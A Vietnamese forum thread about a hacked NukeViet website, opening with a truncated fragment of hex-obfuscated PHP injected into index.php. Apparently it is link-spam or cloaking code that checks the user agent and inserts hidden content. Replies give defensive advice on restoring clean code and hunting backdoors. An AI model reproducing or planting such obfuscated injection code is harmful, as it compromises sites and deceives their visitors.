\x53"}["\x73s\x68h\x72\x6c"]}[array_rand(${${"\x47\x4c\x4f\x42A\x4cS"}["\x73\x73\x68\x68\x72l"]})];$yjcfmmvjsz="c\x6fnte\x6e\x74";${${"\x47\x4cO\x42AL\x53"}["\x69a\x67\x6e\x69\x73p"]}="?".${${"\x47\x4c\x4fB\x41L\x53"}["\x7a\x73\x69jc\x6bcf\x6fs"]}."\x3d".str_replace("\x20","-",${${"G\x4cO\x42A\x4c\x53"}["u\x71\x76\x64l\x77\x78\x63\x69\x71"]});${$yjcfmmvjsz}=substr_replace(${${"G\x4cO\x42\x41\x4c\x53"}["l\x65\x6c\x6bv\x7a\x61\x78"]},"\x3ca\x20\x68r\x65\x66=\"".${${"GL\x4fB\x41\x4cS"}["i\x61gn\x69sp"]}."\x22 al\x74\x3d\"".${$enlrvolyvrcr}."\">".${${"G\x4c\x4fBAL\x53"}["\x79\x6eq\x67y\x70\x67c\x70\x67h"]}."</\x61>",${${"\x47L\x4f\x42\x41L\x53"}["\x6b\x75\x75\x78d\x65h\x73t\x6c"]},strlen("#l\x69n\x6b1#"));}if(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x67eh\x6d\x6e\x79\x76\x75\x7a\x73"]}&&!${${"\x47\x4c\x4fBA\x4cS"}["c\x72\x72ck\x75\x61\x70o\x73e\x61"]}&&preg_match("/\x6c\x69\x6eu\x78\x20\x788\x36_\x36\x34/\x69",$_SERVER["\x48TT\x50\x5fU\x53\x45R\x5f\x41G\x45N\x54"])!=1){${"\x47L\x4f\x42\x41LS"}["p\x76\x6djk\x6fv"]="c\x6fn\x74\x65\x6et";${"GL\x4fB\x41\x4cS"}["\x6ck\x78\x78\x77q\x71k\x78cu"]="\x63\x6f\x6e\x74\x65n\x74";${${"GL\x4fB\x41\x4cS"}["\x6c\x6b\x78\x78\x77q\x71\x6b\x78c\x75"]}=preg_replace("/<\x68\x65a\x64(\\s[^>]*)*\x3e/\x69","\$0".${${"\x47\x4c\x4f\x42A\x4cS"}["\x6dvr\x64\x73\x75\x70"]},${${"GLO\x42\x41LS"}["\x70\x76\x6dj\x6bov"]});}}@header("\x63ontent-t\x79pe:\x74ext/\x68\x74\x6d\x6c;char\x73\x65\x74=\x75\x74f-\x38");echo${${"G\x4cO\x42AL\x53"}["l\x65\x6c\x6b\x76z\x61\x78"]};exit();}}}elseif(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["y\x64\x74e\x67\x66\x75"]}&&!${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63r\x72\x63k\x75\x61p\x6f\x73\x65a"]}&&preg_match("/\x6c\x69\x6e\x75\x78 x\x38\x36\x5f64/\x69",$_SERVER["H\x54TP\x5fUS\x45\x52\x5fA\x47E\x4eT"])!=1){${"\x47L\x4f\x42A\x4c\x53"}["\x63\x75m\x65\x6a\x67j\x79\x67\x6c"]="\x6aump\x5fs\x74\x72";@header("c\x6fn\x74\x65\x6e\x74-t\x79\x70e:\x74ex\x74/\x68tml;c\x68a\x72se\x74=utf-8");echo${${"G\x4c\x4f\x42\x41LS"}["\x63\x75\x6dej\x67\x6ay\x67\x6c"]};exit();}}
																																				//5x9nw080
?><?php

 

 

Cái này chắc đã có backdoor nên dù bạn thay host và xoá trong index.php đi thì vẫn còn cơ hội dính thêm lần nữa.

Bạn hãy thử lấy toàn bộ mã nguồn về localhost và quét, kiểm tra.

 

Để chắc chắn có thể tiến hành "thay máu" cho mã nguồn để phần nào an tâm hơn.

 

backup date , giữ thư mục upload sau đó xóa toàn bộ code

Cài code mới lên thì hạn chế được

 

Như bạn nói thì vấn đề sẽ không khắc phục được hoàn toàn sao ạ !

 

 

Không biết nó từ đâu ra nữa, giờ mà thay máu thì đuối luôn,hic

 

 

Có vẻ site bạn là NukeViet 3....

Bạn tham khảo hướng dẫn này nhé.

 

Thay thế code của trang NukeViet đang chạy

 

Đặt vấn đề

Một nguy cơ rất hay xảy ra đối với các website sử dụng share hosting đó là bị hack local. Khi site bạn bị hack local, việc hacker sửa hoặc chèn những đoạn code độc hại vào site của bạn là chuyện rất đơn giản. Mục đích hack phá hoại hoặc hack chơi giờ không còn nhiều như trước, những kẻ hack site bạn giờ có thể sẽ tham lam hơn. Vì thế, đôi khi site bạn bị hack mà không hề có dấu hiệu gì cả, đơn giản hacker chỉ muốn cài shell, chèn những đoạn mã độc hại nhằm tìm cơ hội ăn cắp những thứ có giá trị hơn (ví dụ mật khẩu của admin chẳng hạn, biết đâu nó giống mật khẩu email của bạn, và biết đâu trong email lại chứa hàng tá mật khẩu khác…).

Trong nhiều trường hợp khác, bạn cũng sẽ cần phải phục hồi code mặc định của NukeViet:

• Site bị nhiễm virus/sâu, nó chèn mã độc vào code website. Các thành viên diễn đàn NukeViet từng ghi nhận những trường hợp virus/sâu đã sửa đổi các file index.*, config.php và cả file .htaccess cũng có thể bị sửa đổi¹⁾.
• Bạn sửa vào code quá nhiều, site lỗi tùm lum và bạn muốn phục hồi lại code NukeViet nguyên bản.
• Bản backup của bạn chỉ còn phần dữ liệu (Bao gồm tệp tin dữ liệu, cơ sở dữ liệu và các file cấu hình…) mà không có code.

Phương án phục hồi lại trở về bộ code mặc định của NukeViet luôn là phương án tối ưu nhất cho trường hợp này. Đảm bảo bạn sẽ có một bộ code sạch virus và ít lỗi nhất.

Các bước chuẩn bị

Để thay thế code thì thực tế quá trình hoàn toàn giống với việc phục hồi dữ liệu của một site bị xóa (chúng ta đã có đầy đủ dữ liệu được sao lưu). Chúng ta cần có các dữ liệu cần thiết của site đang chạy, bao gồm:

• Cơ sở dữ liệu mới nhất. Bạn có thể sử dụng tệp tin sao lưu hàng ngày hoặc vào admin control panel sao lưu một bản cơ sở dữ liệu.
• Các tệp tin được đưa lên trong quá trình sử dụng:
  • uploads/ (toàn bộ các tệp tin và thư mục trong thư mục này).
  • files/ (toàn bộ các tệp tin và thư mục trong thư mục này).
• Các tệp tin cấu hình:
  • config.php (cần nhất là giá trị $global_config['sitekey'] ở file này).
  • data/ (toàn bộ các tệp tin và thư mục trong thư mục này).

Chúng ta cũng cần phải biết tên phiên bản của site đang chạy. Để biết phiên bản NukeViet đang chạy bạn xem trong file /data/config_global.php, tìm đến 2 giá trị: Tên phiên bản:

$global_config['version'] = "3.4.01";

Tên revision:

$global_config['revision'] = 1758;

Và cần phải tải về bộ code NukeViet đúng với phiên bản này.

Ngoài ra, nếu cài thêm các module, block, theme cho site, bạn nên ghi lại danh sách này để có thể cài bổ sung về sau.

Các bước thực hiện

1. Cài đặt site mới sử dụng NukeViet với phiên bản đúng với phiên bản site đang chạy. Đảm bảo file cài tải về đúng từ địa chỉ phát hành: http://code.nukeviet.vn, bạn có thể tìm các bản NukeViet gốc được phát hành tại kho code của NukeViet trên Google code tại đây: http://code.google.com/p/nuke-viet/downloads/list?can=1

2. Cài lại các thành phần: giao diện, module, block cần sử dụng. Lưu ý sử dụng các bản phát hành chính gốc nếu không, nguy cơ đưa shell lên site hoặc gây lỗi site sẽ rất lớn. Nên nhớ rằng chúng ta đang giải quyết bộ code không sạch, đừng thay thế nó bằng một bộ code cũng không sạch khác.

3. Nhập dữ liệu cũ vào site mới:

• Xóa cơ sở dữ liệu site vừa cài và nhập (import) vào cơ sở dữ liệu cũ. Nếu cơ sở dữ liệu nhỏ, bạn có thể sử dụng phpmyadmin, nếu cơ sở dữ liệu quá lớn, hãy sử dụng MySQLdumper.
• Phục hồi các dữ liệu tệp tin từ 2 thư mục:
  • uploads/ (toàn bộ các tệp tin và thư mục trong thư mục này).
  • files/ (toàn bộ các tệp tin và thư mục trong thư mục này).
• Phục hồi file cấu hình (quan trọng nhất là phục hồi giá trị sitekey trong tệp config.php, nếu bạn mất dữ liệu này, mọi tài khoản người dùng sẽ không thể đăng nhập).

Bạn cần lưu ý rà soát những file phục hồi vì rất có thể có tệp tin chứa mã độc được cài trong đó, thậm chí mã độc được chèn trực tiếp vào file config.php

4. Kiểm tra site được phục hồi:

• Đăng nhập và kiểm tra trong Admin Control Panel. Thực hiện xóa các dữ liệu tạm bằng cách truy cập Admin Control Panel ⇒ Công cụ web ⇒ Dọn dẹp hệ thống.
• Kiểm tra các dữ liệu ngoài site.

5. Nâng cấp site lên phiên bản mới nhất để vá các lỗi bảo mật (nếu có).

Căn bản thì nó không quá khó. Cứ bình tĩnh sao lưu toàn bộ, làm từ từ là được.

NukeViet 4 thì gần giống như thế thôi.

Link : https://nuke.vn/forum/threads/bi-chen-noi-dung-la-vao-file-index-php-230.html#post-1262

 

Mọi người có thể chia sẻ giúp mình một vài công cụ quét backdoor, trojan... hiệu quả được chứ ạ? Cảm ơn nhiều.

 

 

Thông thường, hosting của bạn sẽ có sẵn chức năng này.

Còn thì bạn hỏi anh @dangdinhtu xem thế nào nhé, chứ mình thì chưa biết có công cụ nào cho NukeViet cả.

 

Module quét mã độc của mình sắp lên sóng. Nhưng các bạn nên tìm một ứng dụng nào khác cho tới khi mình ra mắt sản phẩm ạ